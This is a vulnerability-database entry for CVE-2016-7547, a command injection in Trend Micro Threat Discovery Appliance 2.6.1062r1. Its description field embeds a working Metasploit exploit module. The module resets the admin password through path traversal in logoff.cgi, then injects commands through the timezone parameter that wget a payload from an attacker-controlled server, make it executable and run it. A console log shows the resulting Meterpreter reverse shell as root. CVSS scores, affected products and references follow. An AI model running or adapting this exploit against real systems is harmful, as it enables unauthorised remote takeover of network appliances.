ID

VAR-201704-0342


CVE

CVE-2016-7547


TITLE

Trend Micro Threat Discovery Appliance Time and status vulnerabilities

Trust: 0.8

sources: JVNDB: JVNDB-2016-008321

DESCRIPTION

A command execution flaw on the Trend Micro Threat Discovery Appliance 2.6.1062r1 exists with the timezone parameter in the admin_sys_time.cgi interface. TrendMicroThreatDiscoveryAppliance is the next generation network monitoring device. The TrendMicroThreatDiscoveryApplianceadmin_sys_time.cgi interface handles security holes in the timezone parameter. A remote attacker can exploit a vulnerability to submit a special request to execute arbitrary commands. The first is an authentication bypass vulnerability via a file delete in logoff.cgi which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552). Note: You have the option to use the authentication bypass or not since it requires that the server is rebooted. The password reset will render the authentication useless. Typically, if an administrator cant login, they will bounce the box. Therefore, this module performs a heart beat request until the box is bounced and then attempts to login and to perform the command injection. This module has been tested on version 2.6.1062r1 of the appliance. }, 'Author' => [ 'mr_me <steventhomasseeley@gmail.com>', # vuln + msf 'Roberto Suggi Liverani @malerisch', # vuln + msf ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://asciinema.org/a/112480'], # demo [ 'CVE', '2016-7552'], # auth bypass [ 'CVE', '2016-7547'], # cmdi ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, }, 'Targets' => [ [ 'Trend Micro Threat Discovery Appliance 2.6.1062r1', {} ] ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 10 2017')) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The target URI', '/']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']), OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), OptBool.new('AUTHBYPASS', [ true, 'Bypass the authentication', true ]), ], self.class) end def check if do_login res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'cgi-bin/about.cgi'), 'cookie' => @cookie, 'method' => 'GET', }, 1) if res and res.code == 200 and res.body =~ /About Trend Micro/ version = "#{$1}" if res.body =~ /var ver_str = new String\("(.*)"\)/ case version when /2.6.1062/ return Exploit::CheckCode::Vulnerable end end end return Exploit::CheckCode::Safe end def exploit if datastore['AUTHBYPASS'] print_status("Bypassing authentication...") if reset_password print_good("The password has been reset!") print_status("Waiting for the administrator to reboot...") pwn_after_reboot end else if do_login pwn else fail_with(Failure::NoAccess, "Authentication failed") end end end def reset_password c = "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'cgi-bin/logoff.cgi'), 'method' => 'GET', 'cookie' => c, }) if res and res.code == 200 and res.headers.to_s =~ /Backtrace/ return true end return false end def pwn start_http_server print_good("Logged in") download_exec end def pwn_after_reboot @rebooted = false while !@rebooted if do_login @rebooted = true pwn end end end def on_request_uri(cli, request) if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end def start_http_server @pl = generate_payload_exe @elf_sent = false downfile = rand_text_alpha(8+rand(8)) resource_uri = '/' + downfile # do not use SSL for the attacking web server if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end @service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri service_url_payload = srv_host + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore connect end def exec(cmd) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'cgi-bin/admin_sys_time.cgi'), 'cookie' => @cookie, 'method' => 'POST', 'vars_post' => { 'act' => 'save', 'timezone' => cmd, } }, 1) end def download_exec @bd = rand_text_alpha(8+rand(8)) register_file_for_cleanup("/tmp/#{@bd}") exec("|`wget #{@service_url} -O /tmp/#{@bd}`") exec("|`chmod 755 /tmp/#{@bd}`") exec("|`/tmp/#{@bd}`") # we need to delay, for the stager select(nil, nil, nil, 5) end def do_login begin login = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'cgi-bin/logon.cgi'), 'method' => 'POST', 'vars_post' => { 'passwd' => datastore['PASSWORD'], 'isCookieEnable' => 1, } }) # these are needed due to the reboot rescue Rex::ConnectionRefused return false rescue Rex::ConnectionTimeout return false end if login and login.code == 200 and login.body =~ /frame\.cgi/ @cookie = "session_id=#{$1};" if login.get_cookies =~ /session_id=(.*);/ return true end return false end end =begin saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc [*] Processing scripts/trend.rc for ERB directives. resource (scripts/trend.rc)> use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi resource (scripts/trend.rc)> set RHOST 192.168.100.2 RHOST => 192.168.100.2 resource (scripts/trend.rc)> set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp resource (scripts/trend.rc)> set LHOST 192.168.100.13 LHOST => 192.168.100.13 resource (scripts/trend.rc)> exploit [*] Exploit running as background job. [*] Started reverse TCP handler on 192.168.100.13:4444 [*] Bypassing authentication... msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > [+] The password has been reset! [*] Waiting for the reboot... [*] 192.168.100.2:443 - Starting up our web service on http://192.168.100.13:1337/nnDBuOUMuKnxP ... [*] Using URL: http://0.0.0.0:1337/nnDBuOUMuKnxP [*] Local IP: http://192.168.100.13:1337/nnDBuOUMuKnxP [+] Logged in [*] 192.168.100.2:443 - Sending the payload to the server... [*] Transmitting intermediate stager for over-sized stage...(105 bytes) [*] Sending stage (1495599 bytes) to 192.168.100.2 [*] Meterpreter session 1 opened (192.168.100.13:4444 -> 192.168.100.2:46140) at 2016-09-23 14:59:08 -0500 [+] Deleted /tmp/rpNDXQZTB [*] Server stopped. msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 3846 created. Channel 1 created. BusyBox v1.00 (2010.10.13-06:52+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. /bin/sh: can't access tty; job control turned off /opt/TrendMicro/MinorityReport/www/cgi-bin # id id uid=0(root) gid=0(root) /opt/TrendMicro/MinorityReport/www/cgi-bin # =end

Trust: 2.61

sources: NVD: CVE-2016-7547 // JVNDB: JVNDB-2016-008321 // CNVD: CNVD-2017-05855 // BID: 97610 // VULMON: CVE-2016-7547 // PACKETSTORM: 142201

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2017-05855

AFFECTED PRODUCTS

vendor:trendmicromodel:threat discovery appliancescope:eqversion:2.6.1062

Trust: 1.6

vendor:trend micromodel:threat discovery appliance 2.6.1062r1scope: - version: -

Trust: 0.9

vendor:trend micromodel:threat discovery appliancescope:eqversion:2.6.1062r1

Trust: 0.8

sources: CNVD: CNVD-2017-05855 // BID: 97610 // JVNDB: JVNDB-2016-008321 // CNNVD: CNNVD-201704-726 // NVD: CVE-2016-7547

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2016-7547
value: CRITICAL

Trust: 1.0

NVD: CVE-2016-7547
value: CRITICAL

Trust: 0.8

CNVD: CNVD-2017-05855
value: HIGH

Trust: 0.6

CNNVD: CNNVD-201704-726
value: HIGH

Trust: 0.6

VULMON: CVE-2016-7547
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2016-7547
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.9

CNVD: CNVD-2017-05855
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

nvd@nist.gov: CVE-2016-7547
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.0

Trust: 1.8

sources: CNVD: CNVD-2017-05855 // VULMON: CVE-2016-7547 // JVNDB: JVNDB-2016-008321 // CNNVD: CNNVD-201704-726 // NVD: CVE-2016-7547

PROBLEMTYPE DATA

problemtype:CWE-361

Trust: 1.8

sources: JVNDB: JVNDB-2016-008321 // NVD: CVE-2016-7547

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201704-726

TYPE

lack of information

Trust: 0.6

sources: CNNVD: CNNVD-201704-726

CONFIGURATIONS

sources: JVNDB: JVNDB-2016-008321

PATCH

title:Top Pageurl:http://www.trendmicro.co.jp/jp/index.html

Trust: 0.8

title:TrendMicroThreatDiscoveryAppliance command to execute a patch for the vulnerabilityurl:https://www.cnvd.org.cn/patchInfo/show/93111

Trust: 0.6

title:Trend Micro Threat Discovery Appliance Security vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=70210

Trust: 0.6

title:Awesome CVE PoCurl:https://github.com/qazbnm456/awesome-cve-poc

Trust: 0.1

title:Awesome CVE PoCurl:https://github.com/lnick2023/nicenice

Trust: 0.1

title:Awesome CVE PoCurl:https://github.com/xbl3/awesome-cve-poc_qazbnm456

Trust: 0.1

sources: CNVD: CNVD-2017-05855 // VULMON: CVE-2016-7547 // JVNDB: JVNDB-2016-008321 // CNNVD: CNNVD-201704-726

EXTERNAL IDS

db:NVDid:CVE-2016-7547

Trust: 3.5

db:BIDid:97610

Trust: 2.0

db:JVNDBid:JVNDB-2016-008321

Trust: 0.8

db:CNVDid:CNVD-2017-05855

Trust: 0.6

db:NSFOCUSid:36421

Trust: 0.6

db:CNNVDid:CNNVD-201704-726

Trust: 0.6

db:PACKETSTORMid:142201

Trust: 0.2

db:VULMONid:CVE-2016-7547

Trust: 0.1

sources: CNVD: CNVD-2017-05855 // VULMON: CVE-2016-7547 // BID: 97610 // JVNDB: JVNDB-2016-008321 // PACKETSTORM: 142201 // CNNVD: CNNVD-201704-726 // NVD: CVE-2016-7547

REFERENCES

url:https://github.com/rapid7/metasploit-framework/pull/8216/commits/0f07875a2ddb0bfbb4e985ab074e9fc56da1dcf6

Trust: 3.4

url:http://www.securityfocus.com/bid/97610

Trust: 1.1

url:https://nvd.nist.gov/vuln/detail/cve-2016-7547

Trust: 0.9

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-7547

Trust: 0.8

url:http://www.nsfocus.net/vulndb/36421

Trust: 0.6

url:http://www.trend.com

Trust: 0.3

url:https://cwe.mitre.org/data/definitions/361.html

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://packetstormsecurity.com/files/142201/trend-micro-threat-discovery-appliance-admin_sys_time.cgi-remote-command-execution.html

Trust: 0.1

url:https://www.rapid7.com/db/modules/exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi

Trust: 0.1

url:https://asciinema.org/a/112480'],

Trust: 0.1

url:http://0.0.0.0:1337/nndbuoumuknxp

Trust: 0.1

url:https://github.com/rapid7/metasploit-framework

Trust: 0.1

url:http://192.168.100.13:1337/nndbuoumuknxp

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2016-7552

Trust: 0.1

url:http://'

Trust: 0.1

url:http://metasploit.com/download

Trust: 0.1

sources: CNVD: CNVD-2017-05855 // VULMON: CVE-2016-7547 // BID: 97610 // JVNDB: JVNDB-2016-008321 // PACKETSTORM: 142201 // CNNVD: CNNVD-201704-726 // NVD: CVE-2016-7547

CREDITS

Rapid7

Trust: 0.3

sources: BID: 97610

SOURCES

db:CNVDid:CNVD-2017-05855
db:VULMONid:CVE-2016-7547
db:BIDid:97610
db:JVNDBid:JVNDB-2016-008321
db:PACKETSTORMid:142201
db:CNNVDid:CNNVD-201704-726
db:NVDid:CVE-2016-7547

LAST UPDATE DATE

2025-04-20T23:13:13.513000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2017-05855date:2017-05-03T00:00:00
db:VULMONid:CVE-2016-7547date:2017-04-17T00:00:00
db:BIDid:97610date:2017-04-18T00:05:00
db:JVNDBid:JVNDB-2016-008321date:2017-05-15T00:00:00
db:CNNVDid:CNNVD-201704-726date:2017-05-17T00:00:00
db:NVDid:CVE-2016-7547date:2025-04-20T01:37:25.860

SOURCES RELEASE DATE

db:CNVDid:CNVD-2017-05855date:2017-05-03T00:00:00
db:VULMONid:CVE-2016-7547date:2017-04-12T00:00:00
db:BIDid:97610date:2017-04-12T00:00:00
db:JVNDBid:JVNDB-2016-008321date:2017-05-15T00:00:00
db:PACKETSTORMid:142201date:2017-04-19T00:44:12
db:CNNVDid:CNNVD-201704-726date:2017-04-12T00:00:00
db:NVDid:CVE-2016-7547date:2017-04-12T10:59:00.183